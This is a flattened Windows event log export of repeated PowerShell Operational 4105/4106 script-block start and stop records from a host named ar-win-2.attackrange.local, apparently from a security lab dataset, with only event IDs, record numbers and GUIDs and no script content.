410615103150x0670640Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670639Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670638Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670637Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670636Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670635Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670634Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670633Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670632Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670631Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670630Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670629Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670628Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670627Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670626Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670625Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670624Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670623Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670622Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670621Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670620Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670619Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670618Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670617Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670616Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670615Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670614Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670613Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670612Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670611Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670610Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670609Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670608Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670607Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670606Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670605Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670604Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670603Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670602Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670601Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670600Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670599Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670598Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670597Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670596Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670595Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670594Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670593Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670592Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670591Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670590Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670589Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670588Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670587Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670586Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670585Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670584Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670583Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670582Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670581Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670580Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670579Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670578Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670577Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670576Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670575Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670574Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670573Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670572Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670571Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670570Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670569Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670568Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670567Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670566Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670565Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670564Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670563Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670562Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670561Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670560Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670559Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670558Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670557Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670556Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670555Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670554Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670553Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670552Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670551Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670550Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670549Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 